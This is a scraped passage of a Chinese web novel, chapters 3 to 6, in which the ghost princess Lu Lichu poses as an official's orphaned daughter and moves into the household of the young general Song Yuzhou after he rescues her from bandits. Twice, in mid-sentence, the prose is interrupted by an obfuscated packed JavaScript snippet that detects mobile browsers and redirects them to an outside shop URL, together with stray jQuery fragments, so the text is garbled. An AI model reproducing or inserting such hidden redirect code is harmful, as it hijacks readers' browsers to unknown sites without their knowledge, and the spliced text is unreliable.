而方才那最先开口的男人却是走了上来,明晃晃还往下滴落血珠的刀刃几乎要戳到陆梨初。 “大哥,这娘儿们瞧着还是个雏。”男人开口时,露出满口歪七扭八蜡黄的牙,一股子腥臭味叫陆梨初后退了两步。 那男人却似乎是被陆梨初的动作取悦了一般大笑起来,沾血的手往前伸着,“咱把她带回去吧,也叫寨子里的兄弟松快松快。” 眼瞧着那双脏手快落到自个儿脸侧。陆梨初眼睛微微眯起,右脚轻轻一动,骤然响起一声清脆的铃铛响。 虽说一来人世便杀人似乎不太好,可面前这些人,哪个不是该死的主呢。 只是不等地底恶鬼探出爪子,一支箭破风而来。 而那正欲伸手去调戏陆梨初的男人却是瞪大了眼睛,待眉心的血顺着鼻梁落入嘴里后,仰面倒了下去。 陆梨初在心中喝退了正欲破土而出的恶鬼,回身看向箭羽飞来处。 不远处,白色大马耸立在官道上,马上男子手中仍握着长弓,长眉若柳,身如玉树。 鬼界俊美妖鬼数不胜数,陆梨初随手一捞,便能捞出个俊美妖鬼来。可却是鲜少见妖鬼有那马上少年的气度风骨。 似是冬日破晓的日光,又像仲夏半夜的清风。 分明从未见过,却无端叫人心下大定。 那少年从身后摸出又一支箭,弦松箭若风。 长箭没入男人眉心,那群大汉里又一人倒了下去,剩下的人方才如梦初醒般慌乱起来。 其中领头的反应最为迅速,三两步跑到陆梨初身边,长刀横在了她的身前。 陆梨初微微挑眉,正欲动手呢,却听得人群中传来慌乱的话语,“是宋小将军宋渝舟!” 陆梨初心头一动,不过片刻工夫,尚有些距离的少年已然打马靠近,右眼微眯,弓弦拉开。 不消片刻,那乱作一团的人群便没了声响,便是那胁迫住陆梨初的男人手中长刀也落在地上,厚重的身躯重重砸了下去。 没入他眉心的那一根箭,是从陆梨初的耳侧飞过去的,白色箭羽挂到了陆梨初束好的发,一缕青丝垂坠下来。 而白马却是停在了陆梨初面前,少年从马上跳了下来,动作间行云流水分外优雅。 “叫姑娘受惊了。”那少年双眸如星,抱拳行礼,“在下黎安宋渝舟,不知……”宋渝舟本想询问一番面前的女子姓甚名谁,从何而来,可视线却落在了一旁混在山匪尸体中的寻常百姓尸体。话音一顿,再抬眼时,倒是带了些歉疚。 “时候不早了,若是入夜,山路更是难行。若是姑娘不嫌弃,还请同宋某一道进城。”宋渝舟后退半步,让出了立在一旁的白色大马。 陆梨初抬眸看着面前的少年,轻笑一声,利利落落地翻了个白眼儿。 还说什么丰神如玉,气宇轩昂。细瞧下来,还不如鹤城那夜里打更的妖鬼叫陆梨初看着顺心。 4. 第 4 章 第四章 - 宋渝舟微微挑眉,面前的女子却是巧笑倩然,动作干净利落坐上了自个儿身侧的白色大马。 “小将军,都检查过了。应当就是山上的匪徒,而旁的应该是过路的商人……”检查尸体的士兵很快便抱拳回禀,见宋渝舟投来询问的目光,那士兵缓缓摇了摇头。 匪徒也好,过路的商人也罢,俱是没了气息。 宋渝舟收回目光,转而望向前方马匹上穿着鹅黄襦裙的姑娘。思忖片刻后,他伸手点了几个人,“你们几个留下来,将尸体收检了,若是能联系到家人便尽量联系,至于那些山匪……” 宋渝舟话锋一转,双眼微眯,“把头砍下来,攻寨时带上去。” 那小兵听到后面身形一顿,面上竟是隐有激动神色,“是,我这就去准备。” “渝舟。”身后马蹄声渐近,宋渝舟回身望去,是副将裴子远。 裴子远从马上下来,立在了宋渝舟身旁,眼中略有不赞同,“如今古鱼国虎视眈眈,朝中更是……” “子远。”宋渝舟开口打断了裴子远的话。 “这山匪早晚要除,如今作乱到眼皮子底下了,再不动手宋家的脸面岂不是都没了。” 话音微顿,宋渝舟轻叹道。“父亲兄长时常告诫我谨慎行事,可如今,却是有无辜之人因着我的谨慎丧命,子远,我心不安。” 宋渝舟不再说话,抬头远眺。 天地相接处,群山迭起,似是墨迹晕散。 裴子远循着宋渝舟的视线望去,炊烟四起,叠叠重重的群山更是烟雾缭绕,他轻叹一口气,望向前方白马上的女子,“那便是旁的随你,这女子身份来历不明,你就这么把她带回去……” “子远,你说到哪儿去了。”宋渝舟失笑,“如今天色渐暗,便是这姑娘真的身份有疑也不能就将她抛下置之不理。我已经让人去查她的身份底细了,放心吧,我自有数。” 许是等得有些不耐,陆梨初回身望向宋渝舟,一双眼睛灵动似鹿,“还不动身吗?”陆梨初顿了顿,鸦羽般浓密的睫毛轻轻颤着,她望向宋渝舟一字一顿道,“宋小将军?” “还不曾请教姑娘姓名。”裴子远上前半步,声音温和,脸上带笑,只是那笑不达眼底。 陆梨初眼角微垂,视线落在了裴子远身上。 裴子远脸上的笑意微微一凝,他虽远在黎安,可见过的达官贵人不在少数,而他见过的那些人中,更是少有人像面前的人一样,分明没什么特别之处,可偏偏带着上位者才有的贵气。 只是裴子远心中的怪异念头转瞬即逝,待他再抬头时,马上的人脸上带着笑,轻声道,“我姓陆,是陆太尉的幼女。” 听了陆梨初的话,裴子远同宋渝舟对视一眼。 两人俱是未曾开口。 一行人浩浩荡荡上路,在蜿蜒的山路上留下长长的车辙印记。 陆梨初的马行在中央,姓宋的那小子时不时侧过身子同一旁那姓裴的说些什么。 而那姓裴的,则是时不时回头望她一眼。 陆梨初每每同他对视,便扯开嘴角,露出一个最是灿烂的笑容。 裴子远再一次忧心忡忡地转过头去,连宋渝舟都有些瞧不下去了。 宋渝舟循着裴子远的视线回头望去,白马上的姑娘似是没想到他也会转过头去,脸上灿若艳阳的笑凝了一瞬。宋渝舟浅浅一笑,可那分明是在对着裴子远笑的人却是猛然拉下脸来,垂下视线,不再看向前方。 “渝舟。”裴子远见宋渝舟若有所思地回过头,微微偏过脑袋,轻声道,“你也觉得不对劲了?陆太尉分明……” 裴子远停住了,他吞了口口水,舔了舔略有些干裂的嘴唇,“分明因为废太子被满门抄斩了。” “现在突然冒出个女儿,也太不对劲了。”裴子远声音略有些颤,“你说会不会是……” “子远。”宋渝舟见裴子远愈发不着边际,开口阻拦。“这个陆姑娘是真是假,父亲回来便会有个定论。” 宋将军同已故的陆太尉是世交,先前陆太尉因罪入狱时,宋将军还曾四处奔走过,只可惜并没能救下陆太尉一家。 “渝舟,我是说,若是这个陆姑娘真是陆太尉的女儿,那同我们同行的应当是鬼才对!”见宋渝舟未能理解自己的意思,裴子远不由提高了音量。 “裴子远。”宋渝舟有些无奈,清了清嗓子,正色道,“我瞧你是先前酒喝多了,尚且醉着,满嘴胡话。” 这裴子远旁的都好,平日做事比宋渝舟还细心些,唯一的不足便是胆子不大,尤其是在鬼神之事上。 黎安虽同古鱼国相接,时常有战火摩擦,但好在有宋将军,城中百姓过得还算富足。 而城中百姓更是不知京中帝王,只识黎安宋将军。 陆梨初坐在白马上,一路上瞧着百姓将前面两人的怀里塞满了吃食。 众人停在了宋将军府前,宋渝舟下了马,走到了陆梨初身侧,伸出一只手。 “陆姑娘,家父同陆太尉是旧识,若是不嫌弃,便暂且在府中住下。” 陆梨初避开了宋渝舟的手,自个儿跳下了马。 她并不意外如今的处境。 云辞当时帮她寻摸身份时,想着的便是能不被怀疑地接近宋渝舟,而那落了难的陆太尉同宋将军是旧识,这样一来陆梨初便能名正言顺地住进宋家。 “小少爷,你怎么先往家来了,未曾先去兵营?”宋府大门缓缓推开,一个书童扮样的半大孩子跑了出来,“夫人若是知道您回来了定特别开心,我去通知夫人。” “知鹤等等。”宋渝舟唤住了那书童,转身对着裴子远轻轻抬了抬下巴,裴子远会意,领着一行人离开。 知鹤偏着脑袋看着一行人离开,宋府门口很快便只剩下自家小少爷,小少爷的白马,和一个姑娘。 知鹤猛然摆正了脑袋,瞪大了眼睛,瞳孔微微震颤着。 瞧瞧自己发现了什么,小少爷往家里带了个姑娘! “小少爷,你……”知鹤挠了挠头,“这不妥!你平日做事最是叫将军同夫人省心,怎么这才出去几日便这般不着调了呢。” “知鹤!”宋渝舟最是知道这不着调的书童平日不知在想些什么,忙在他说出什么更离谱的话时轻声喝止了他,“快去请夫人,我有事同他说。” 知鹤年岁小,喜怒哀乐俱在脸上。 见宋渝舟发话了,虽不再说些什么,却是先瞪了陆梨初一眼,而后转身跑进了院子。 “陆姑娘,请。”宋渝舟微微侧开身子,白马在他身后轻轻晃动着尾巴,发出轻响。 陆梨初这才将落在门匾上的视线移开,往前走了两步后,突然回身看向宋渝舟。 “多谢宋小将军。” 众人对着宋渝舟多数是喊宋小将军,平日里未曾觉着这几个字有什么。 可这再正常不过的几个字叫面前的小姑娘念出来,甚是挠人。 陆梨初瞧着面前的人耳尖染上一丝红,不由笑出声来。 “陆姑娘?”宋渝舟有些疑惑,不知面前的人在笑些什么。 只是笑靥如花的人似乎并不打算解释给他听,只是轻轻摆了摆手,而后抬脚走进了宋府大门。 陆梨初伸手抚了抚胸口,才缓住了笑。 她偏头看向身侧的人,明白过来为何宋小将军分明是婚配的年龄,怎么到死还是孤家寡人一个。 想来也是没有哪家的姑娘愿意嫁给一个不过是说两句话便红了耳尖的男子吧。 穿过前院,穿着绛蓝色裙衫的妇人站在堂前,知鹤站在她身侧,远远瞧见了走近的二人,不由撇了撇嘴。 “夫人,小少爷来了。” “母亲。”宋渝舟脸上的红晕渐淡,来到宋夫人面前时已经变回了平常模样。他恭恭敬敬地行完礼,侧身让开,“这位是陆姑娘,陆太尉的幺女。” 宋夫人面上微愣,见陆梨初正欲行礼,慌忙上前拦住了她。 “知鹤,去书房,将先前收到的信取来。”宋夫人的手是暖的,陆梨初的视线落在两人相叠的手上,目光微颤。 “我先前收到了陆太尉的信。”宋夫人抬头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282692|151911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向宋渝舟,手中却是仍旧牵着陆梨初,“我原还在想,若是你们再不回来,我便差府中奴仆去找,谁曾想,你竟同陆姑娘遇上了。” 知鹤很快便回来了,手中握着已经拆开的信,同一块弯月形状的玉佩。 “可怜见的,你瞧瞧这玉佩,可熟悉?”宋夫人接过知鹤手中的东西,将信递给了宋渝舟,玉佩却是递向了陆梨初。 陆梨初瞧着那泛着绿的玉佩,从怀里摸出另一块来。 两块玉佩恰恰好能合为一体,宋夫人见状拉着她坐在了榻上。“真是个可怜的孩子,这一路上定是辛苦极了。” 宋渝舟很快便将手中的信看了个大概。 信中陆太尉托宋将军替他照顾幼女陆梨初,信中写明,陆梨初打出生便被送去了江南,少有人知道陆家仍有这么一个血脉。 如今陆家覆灭,只剩这一支血脉,希望宋家能代为照顾。 陆梨初被宋夫人揽在怀里,陆梨初难得乖巧地任由宋夫人轻抚她的额发。 面前的人应当是真的心疼陆家孤女。只可惜陆梨初并不是陆家孤女,云辞的信同玉佩,应当是从死后成了新鬼的陆太尉处寻摸来的。 “母亲。”宋渝舟放下了手中的信,小姑娘被宋夫人揽在怀里,叫宋渝舟看不清她的神情。“军营里还有事,陆姑娘……” “你且忙去吧。”宋夫人抬起头,浑不在意地挥了挥手,“早些忙完,早些归家。” 宋渝舟退着离开了厅堂,在他视线移转开前,隐隐约约瞧见宋夫人怀里的姑娘抬眸望向自己。 宋渝舟停了一瞬,那从初见便显得同寻常姑娘大不相同的女子眼中似有水光闪烁。 可在先前,宋渝舟并未从她身上看出半点伤心。 裴子远仍旧在兵营里尚未离开。 听到动静,忙掀起帐篷一角,着急间险些撞上一旁的小兵,宋渝舟停了步子,抬眸看向他。 “渝舟,我思来想去……”裴子远面色有些许苍白,“那位姑娘不对劲得很,哪有姑娘家瞧见那么多死人还面不改色的。” “子远。”宋渝舟伸手拍了拍裴子远的肩膀,“母亲那处收到了陆太尉生前的信,信中有同陆姑娘一对的玉佩。” 见裴子远脸色依旧不好,宋渝舟继续道,“陆姑娘的反应许是同她在江南的过往有关,我已经差人给父亲送信,也派人去了江南,你无需担心。” 裴子远似是有些失神,他看着宋渝舟缓缓点了点头,“那……”他语气有些虚浮,目光也没个落处,“那你如今打算如何安置陆姑娘?” “母亲一见她便心疼得紧,只有先叫陆姑娘在宋府住下。”宋渝舟见裴子远不再似方才那般失了魂,方才继续抬脚前行,“好在宋府仍有空院子,能叫陆姑娘好生住着。” “可你们先前才遣散了仆从,可有人手照顾陆姑娘?”裴子远跟上宋渝舟的步子,右手成拳,一下一下轻拍着左掌掌心,“若是没有,回头我从府中挑两个伶俐的送过去。” 宋渝舟点了点头,他并未想到这一层,听裴子远这般讲,一时觉得不无道理。“那便多谢子远了。” 话音落下,宋渝舟抬眸瞥了眼西斜的太阳,“山匪的事儿我一人带上一队精兵便是,你先回吧。离开黎安小半月,裴伯母应当也挂记着你呢。” 听了宋渝舟的话,裴子远点了点头,嘴上虽是不住应着,心思显然不知飘到了何处。 天色渐暗,黎安城中渐渐有灯火亮起。 裴子远站在裴府大门口许久未曾动作,还是裴家下人推开门才发觉自家少爷正呆站在家门前,却不知进屋。 “少爷,您怎么站在这儿?”门房探出个脑袋,裴子远望向他,黑色的眼睛同浓重的暮色几乎合二为一。 那门房见裴子远许久未曾说话,只用那黑洞洞的眼睛瞧着自己,心头不住打鼓,再开口时,声音变得虚浮,“少爷?” “叫明霭同初阳来见我。”裴子远收回了目光,跨过门槛,走进了裴家小院。 而那门房握着门边,目送着裴子远走远了,方才入门初醒般地应答一声。 5. 第 5 章 第五章 - 同城中别家灯火不同,裴家厅中并未点灯。 裴子远端坐在太师椅上,手中握着茶盏,视线落在跪在他面前的两名娇俏女子身上。 “裴公子。”初阳悄悄抬眸去看坐在上方的人,只是堂屋里太黑,叫她看不清裴子远的神情,“自打来了黎安,您从未唤过我同明霭,今日是遇上什么……了吗?” “我要你们替我去照顾一个人。”重音落在了人字上,裴子远的视线落在茶汤之上的两片碎茶叶上,茶盏轻轻碰撞,发出清脆的响声。 “子远!”烛光由远及近,伴着焦急的呼喊声的,是玉石金饰碰撞时发出的叮当声。 “母亲。”裴子远抬眸看向门外,被他唤做母亲的女子立在门外,面上满是焦急之色。 只是裴子远口中虽是唤着母亲,手上却是没有旁的动作,依旧好生坐着。 反倒是被他唤做母亲的人陪着笑,小心翼翼地跨过门槛,走进屋内。 只是在她经过跪在地上的明霭初阳二人时,手中烛火晃了两晃,骤然歇了。 那女子低呼出声,手中灯笼也随之落在地上。 裴子远的视线随着灯笼而动,“你们先下去吧。” 裴子远站起了身,弯腰捡起了那灯笼,也不知是从哪里摸出的火折子,微弱的光照亮了屋子。 屋内的烛台被裴子远一个一个的点亮,而那站在屋子当中的女子却是随着他的动作脸色愈发苍白。 “母亲怎么这般着急来找我?”待明霭同初阳走远了,裴子远方才放下手中火折子,转身看向裴母。 烛光下,裴母的面容变得清晰可见。 站在屋子中央的女人看起来分明是个二八年华的小姑娘,哪里像是裴子远这般大儿郎的母亲。 “子远。”裴母咽了咽口水,双手仍做抚心状,“我们离京来这黎安,不就是想远离那些事情吗?你为何……为何又要见那两个人?” “母亲且心安。”裴子远走到裴母身边,伸手扶着她在一旁的椅子上坐下,“儿子是要将她们二人送出去。” 裴母脸上有了两分血丝,“送出去?”她似是有些迟疑,“可是那二人是……” “儿子自有分寸。”裴子远打断了裴母的话,蹲在她面前,抬眸看向她。那目光叫裴母不自觉想要避开。 “走吧。”裴子远的手虚虚落在裴母前方,“儿子送您回房。” - “梨初。”宋夫人哭了好一通,总算是缓过劲来。“叫你瞧笑话了。” 也怪不得她情绪这般大,陆太尉的妻子曾是她的闺中密友,二人感情甚笃。宋夫人本就因陆夫人的落难而心伤,如今瞧见挚友留下的最后一丝血脉,又怎能忍住心中的悲痛。 陆梨初眨了眨眼,并未接话。 她虽不解宋夫人为何有这般浓厚的情绪,却是也跟着扮演一个合格的痛失父母的小姑娘。 许是做戏中,情到浓处,陆梨初心头尽是真有了些许悲伤。 好在宋夫人很快便收住了情绪,只是依旧紧紧拉着陆梨初的手,“好在这一路有惊无险,叫你好端端的到了黎安,你母亲若是泉下有知应当瞑目。” 陆梨初垂下眸,宋夫人同她聊起母亲时,两人心中所想分明不是同一人,却是偏生聊到了一处。 “你刚出生时,你母亲也曾写信给过我。”宋母轻轻抚摸着陆梨初的手,“只是不知何故要将你送去江南,那之后我同她信件来往渐少。” 宋母看着出落地如花似玉的陆梨初,似是瞧见了自己多年未见的好友,“陆太尉心思缜密,许是早就猜到了如今情景,是以早早将你送离那吃人的地方。梨初,你怨不怨他们?” “母亲那般爱我。”陆梨初垂着头,感受着宋夫人掌心的温热,“我自是同样想念母亲。” 饶是陆梨初未曾回答宋夫人的问题,可说出的话却叫宋夫人松了口气。她原先瞧着面前的人脸上并无悲伤神色,还曾担忧,如今看来,这丫头不过是因为自幼离了父母,所以喜怒哀乐不形于色。 “你且安心在宋府住下,日后宋府便是你的家。” 陆梨初躺在那张梨木大床上许久,依旧在想着宋夫人的话。 那个初次谋面的妇人说,日后这一处便是她的家。 只可惜,宋夫人以为自己真是那陆太尉的幼女才会这般讲。若那陆家幼女真还在,那这一处该是她的家,而不是自己这个偷跑出来鬼界,连人都不是的陆梨初的。 陆梨初望着那白色纱帐,难得想起了被她记恨着的鬼王陆川。 那时鬼王妃还在,陆梨初也未曾自己搬去小院儿,而是同他们一道住在鬼王寝殿中。 若是去问那时的陆梨初何处为家。 她一定会指着那金碧辉煌的鬼王殿说,此处便是。 只可惜那样的日子只存在于记忆当中,甚至于在记忆里都要拨开层层薄雾,才能窥见半点亮光。 自打陆梨初记事起,鬼王妃身子就不大好。 陆梨初对母亲最初的印象,便是略苦的药味混着悠悠的花香。 鬼王妃多数时间都是在卧床休息,但凡精神好些,便会同陆梨初一道出去。 多数时候,鬼王妃都是坐在椅子上,瞧着仍是孩子模样的陆梨初爬树下河,扑黑鸦放风筝。 陆梨初长大一些后,隐隐明白过来,鬼王妃是在生她时伤了身子,所以才一直卧病在床。 若是早知道,那一次离开鹤城便再也见不到母亲,陆梨初绝不会离开鹤城半步。 可那时的陆梨初不过四百来岁,算作凡人,还是个不到十岁的幼童。 小陆梨初想的,无非是去那鬼界雪山顶,取下能补身子的雪莲,好叫母亲双手不再整日冰凉。 可等陆梨初被前来寻她的鬼将带回鹤城后,每日都要同鬼王妃睡在一处的小公主,再也没能见到她的母亲。 陆川告诉她,鬼王妃的身子早就到了强弩之末,陆梨初离开后不久,便昏迷不醒,很快便香消玉殒了。 若是事情止于此,许是陆梨初过了那段日子,仍旧是那个无忧无虑的小公主。 只是那日,陆梨初误闯了自打鬼王妃死后便一直封存,不让人进入的阁楼。 阁楼里,有一团又一团隐隐散发光晕的光球。 陆梨初好奇地触摸其中一个后才发觉,那是鬼王妃从前的回忆,同她相关的回忆。 那日后,陆梨初便时不时跑去阁楼,沉溺于母亲留下的二人欢喜的记忆当中。 直到她触碰到那一颗隐隐泛蓝的光球。 那段记忆同陆梨初无关。 她在那段回忆里,看见鬼王陆川同她母亲聊起无名册——那时陆梨初才知晓,原来上一任孟婆是母亲。 她还看见自己的母亲强撑病体,打开无名册,却被那无名册的力量反噬,吐血昏迷。 她更看见,母亲虽昏迷,却是魂魄尚稳。 是那些叔伯,以鬼界不可无孟婆为由,逼迫鬼王陆川送她母亲去死。 陆梨初从那段回忆中惊醒,她坐在隐隐有一层薄灰的阁楼上,像是一条被人扔上岸的鱼,无论如何大口喘气,都只觉得嗓子发干,鼻腔酸痛。 那回忆戛然而止,可陆梨初同鬼王陆川却是打那日起,愈行愈远。 两人渐渐过得不像父女,而像仇人。 她不是不曾去质问陆川,只是刚提起母亲,陆川便大怒,只说若是再提母亲,便将陆梨初在意的,属于鬼王妃的东西尽数一把火烧了。 那之后,陆梨初搬离了鬼王殿,同紫苏一道住进了如今的小院。 即便后来她知道陆川并未下手,是鬼王妃的伤势骤然加重药石无灵。 陆梨初同鬼王陆川之间的关系依旧未能修复半分。 白云苍狗,弹指过往。 直到陆梨初听到自己的名字同无名册联系在一起,那藏在心中的厌恶再次升腾起来。 若不是那无名册,鬼王妃也不会骤然伤重。 那无名册也曾说鬼王同鬼王妃是天作之合,好一个天作之合。好到鬼王陆川冷眼看着自己的妻子死去,即便未曾自己动手,却也未曾动用鬼界灵药。 如今这无名册又说自己同一个人间的小将军是天作之合。 陆梨初翻了个身,缓缓闭上眼。 她才不会信什么天作之合,如今她名正言顺地住进了宋府,想来破坏这所谓的天作之合也不会是什么难事。 - 宋渝舟骑在马上,行在队伍最前方。 夜色算不上多好,弯月恍若发霉了一般,连带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282693|151911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着本该如银的月光也变得暗淡。 “小将军,山寨中灯火通明,那匪徒应当还不知今日外出的兄弟早已死透了。” 宋渝舟轻应一声,双腿轻拍马肚,黑色的骏马发出鼻响,往前两步。“将人头拿来。” 山寨烛火通天,印红了半边山头。 宋渝舟一身黑衣,隐没于半边黑暗当中,而身后士兵听到他的吩咐自是赶忙递上被黑布包裹好的头颅。 那黑布上湿答答一片,似是仍有血珠往下滴落。 宋渝舟浑不在意,只见他反手摸出一支箭来,将那黑色包裹挂在了箭尖之上。 弓弦被紧紧拉开,宋渝舟微微眯眼,瞄准了那山寨大门。 长箭破风而去,随着那破风的声响,四下静籁,连带着虫鸣蛙叫都停了一瞬。 而喧闹的山寨也安静了一瞬,而后发出了更大的嘈杂声。 宋渝舟双眸灿烂若星,只见他右臂高举,一声令下,精锐骑兵犹如这深夜中的鬼魅,冲向了山寨。 宋渝舟冲在最前方,只见他反手摸出三支箭,拉弓射箭,行云流水。 瞧着他的动作赏心悦目,可飞出去的三支箭却是支支力有千钧,瞬息之间取人性命。 寨中山匪早在见到那双目圆瞪,碗口大的疮口处仍稀稀拉拉落血的头颅时便慌了神。 饶是为首的高喝多声,也未能让众人冷静下来。 这样一来,宋渝舟一方更是占了上风,山匪前阵很快便摧枯拉朽般败下阵来。 “宋渝舟,你我井水不犯河水,我从未派手下进黎安,你竟来对付我!”山匪头子留着络腮胡,说话时唾沫乱飞。 宋渝舟并不同他多言,飞身下马,手中红缨长丨枪斜于身前,枪头直指那山匪头目。 似是见宋渝舟不听劝告,那山匪头子提起脚边大刀,高声道,“今日谁斩下宋渝舟的脑袋,这二当家的位置我便交给谁!” 砰—— 大刀狠狠撞上长丨枪的银制枪头。 巨大的力震得那山匪头头后退半步,虎口发麻。 见宋渝舟仍旧好整以暇地立在原地,那山匪头子更是双目赤红,提刀再次冲了上去。 宋渝舟本擅长长剑,只是先前佩剑却是断了,只得耍起平日少用的长丨枪。 只是即便少用,宋渝舟的动作依旧干净利落,长丨枪在他手中如同长龙。 随着他的动作,红缨晃动,叫那山匪头子的动作不由慢了两分。 而宋渝舟等的,正是山匪头子顿的这两秒,只见长丨枪猛然前送,大刀从山匪头头手中掉落,山匪头子惊骇地瞪大了眼,长丨枪头便是这时捅穿了他的喉咙。 庞大的身躯轰然倒地,宋渝舟环顾四周,高声道,“我宋渝舟,从不杀俘虏!” 不知是谁先丢了武器。 叮铃哐啷间,方才还在负隅顽抗的山匪纷纷丢盔弃甲,缩在角落当中。 宋渝舟剿灭了山匪的事儿第二日一早便传回了黎安。 “夫人!”知鹤早上刚刚出门呢,便听到了山匪被剿灭的消息,一时也顾不上出门是宋夫人吩咐他去人牙子那儿挑两个伶俐的事儿了,转身又回了府里。“小少爷又立功了!黎安外头,山头的山匪被小少爷剿灭了。” “渝舟可受伤了?”宋夫人正同陆梨初一道用朝食,知鹤那高大的嗓门一响起,险些叫宋夫人摔了手中的碗筷。 “小少爷神功盖世,自然不会受伤。”知鹤说起自己少爷,那叫个眉飞色舞,见一旁喝粥的陆梨初半点未曾注意到他正夸赞自家少爷呢,难免带了些炫耀的意味道,“陆姑娘应当未曾见过我们小少爷这般英武的男子吧。” 陆梨初险些被口中的热粥呛到,她微微抬眉看向知鹤,“的确未曾见过这般大了还要母亲牵肠挂肚担忧的男子。” “无知妇人!”知鹤本就看着陆梨初不顺眼,如今听她这般说更是吹胡子瞪眼起来。 一旁的宋夫人忙打起圆场,岔开了话题。“好了,知鹤,我让你去人牙子那儿寻的人呢?” 知鹤一下蔫了,“夫人,我这就去寻。” 只是不等他踏出门呢,门房便来报,裴子远裴公子上门求见。 “宋伯母。”人未至,声先到。“晚辈怕您忙不过来,特地带了两个聪明的丫鬟。” 6. 第 6 章 第六章 - 陆梨初记得裴子远,昨日那个总是偷看自己的人——尤其是在自个儿报了身份之后。 她循着声音望向屋外,不等瞧见来人,一股若有若无的幽香便萦绕在她的鼻尖,久久未能消散。 “子远,快快来坐下。”宋夫人虽诧异于裴子远一大早便赶来送丫鬟,但总归是好心,忙起身招呼他坐下。 裴子远身后跟着两个梳着丫鬟髻,穿着淡粉裙装的女子。 陆梨初眉心微皱,她的视线同其中一个女子对上,一股说不上的感觉渐渐升腾起来。 虽是第一次见,但陆梨初觉得自己不喜欢这两位被裴子远好心送来的丫鬟。 上一个叫陆梨初一瞧便觉得不喜欢的人还是和漾。 不过这事儿怨不得和漾,也怨不得陆梨初。 陆梨初对和漾的不喜起初并不是因为这样这个人,而是因为和漾是妖鬼同人结合后的半鬼,身上天生带着一股香,本来这没什么,可偏生陆梨初闻那味道闻久了便下吐下泻,头晕目眩。 只不过后来,这起初叫陆梨初不愿见和漾的原因早已算不得两人的嫌隙了。 陆梨初放下了手中的东西,鼻尖萦绕的味道的确是同和漾身上的味道同出一源。 裴子远伸出手招了招,初阳同明霭一道往前两步。 那股似有似无的香气有那么一瞬变得浓郁,险些要叫陆梨初觉得是和漾出现在了自己面前。 只是等她强忍下身体上的那股不适,细细打量过面前二人,却又确信,这两人同和漾应当没有关系。 不说和漾不会知道自己偷溜出鬼界来到人间,便是她知晓,按照和漾的性子,应当先去陆川那儿告上一状,然后再耀武扬威地出现在自个儿面前,好好挖苦自己一番。 “宋伯母,昨日我便想着您前不久才遣送了仆从,若是陆姑娘在宋家住下,怕是没有用的惯的。”裴子远面上带笑,说的话更是挑不出错来,“今儿一早,我便从院子里挑了最聪慧的两个,好帮您分担一二。” “子远,这太麻烦您了。”宋夫人忙摆手拒绝,裴子远却是将立在他身侧的明霭往前推了半步。 “伯母,我同渝舟如亲兄弟,能帮他的地方,子远义不容辞。”裴子远的话虽是在对宋夫人说,可目光却是落在陆梨初身上。 “我不需要人照顾。”陆梨初站起了身,身下椅子随着她的动作同地面摩擦,发出了略微刺耳的声音。陆梨初看向面上带笑的裴子远,“宋夫人,我习惯了独来独往,身边骤然多两个人反倒不习惯。” “陆姑娘,宋伯母好不容易见到了故人孤女。”裴子远依旧笑着,缓缓放下了手中的东西,眼中却是没有笑意,“身边若是没有人照看着,只会叫宋伯母忧心。” 陆梨初看着裴子远,突然扯唇笑了起来,“既如此,宋伯母,那便由您决定吧。” 陆梨初重新坐回了凳子上,气定神闲地开始喝方才尚未喝完的米粥。 “子远,你的好意伯母心领了。”宋夫人的视线在明霭同初阳见转了一圈,“既然梨初不喜欢那便算了吧,知鹤。” “夫人。” “跟李嬷嬷一道去库房挑两颗参。”宋夫人转头吩咐完知鹤,又看向了裴子远,“难为子远你跑这一趟,年前听棠差人送来的。” 宋夫人停了停,叹了口气道,“你母亲身子不好,来了黎安这么些年,也未曾能同她见上一面。你可得好生照顾着她,等养好了身子,我再去拜访。” “那便多谢伯母了。”裴子远垂下眼眸,没有再坚持。 如今他贸贸然将人送来,还能说是替好友考虑,可若是主人拒绝后,他仍旧执着要将人留下,那难免惹人怀疑。 陆梨初有些诧异,原本听二人的话头,宋夫人分明在考虑将这两个丫鬟留下来。 可自己不过说了一次不愿,宋夫人便顺着自己的话头拒绝了裴子远。这叫陆梨初心头微暖。 从前在鬼界,虽说陆川口口声声说着放纵她,但其实多数时候,陆梨初自己并不能拿定主意。毕竟即使陆川同她关系不好管不住自己,却会有白娆姑姑,又或是云辞代替他来管。 陆梨初放下手中的碗筷,不由在心里感慨。白娆姑姑从前教过她好人有好报,如今她还没做好事呢,好报便来了。 陆梨初看向宋夫人,宋夫人替她夹了两块糕点,示意她再吃一些。 瞧瞧,自己不过是抱着替宋夫人的儿子寻个惺惺相惜的姑娘的念头,还未付诸行动呢,宋夫人便将自己当自家人看待了,还万分尊重自个儿的决定。 虽说身边留个同和漾气味相似的人不算什么大事,可不用留这样一个人,陆梨初更是乐得自在。 思及此,陆梨初暗下决定,将原先想在人世间好好玩一圈的念头放到一旁,她要抓紧替宋渝舟系上红线,好叫宋夫人能瞧见自个儿的小儿子成家立室。 “宋夫人。”陆梨初心中有了决断,便放下了手中碗筷,“我从小长大的地方同黎安大不相同,吃过朝食我想出去转转。” 坐在一旁眼鼻观心的裴子远双眸一亮,正欲开口时,却听到了宋渝舟的声音。 “母亲。”宋渝舟一夜未眠,下巴隐隐有胡茬冒头,“子远,你怎么一大早便来了?” 回来得正好正好。”瞧见宋渝舟,宋夫人笑了起来,伸手拍了拍陆梨初的手背,“梨初她想在黎安城里转转,你要是没事,便同她一起吧。” 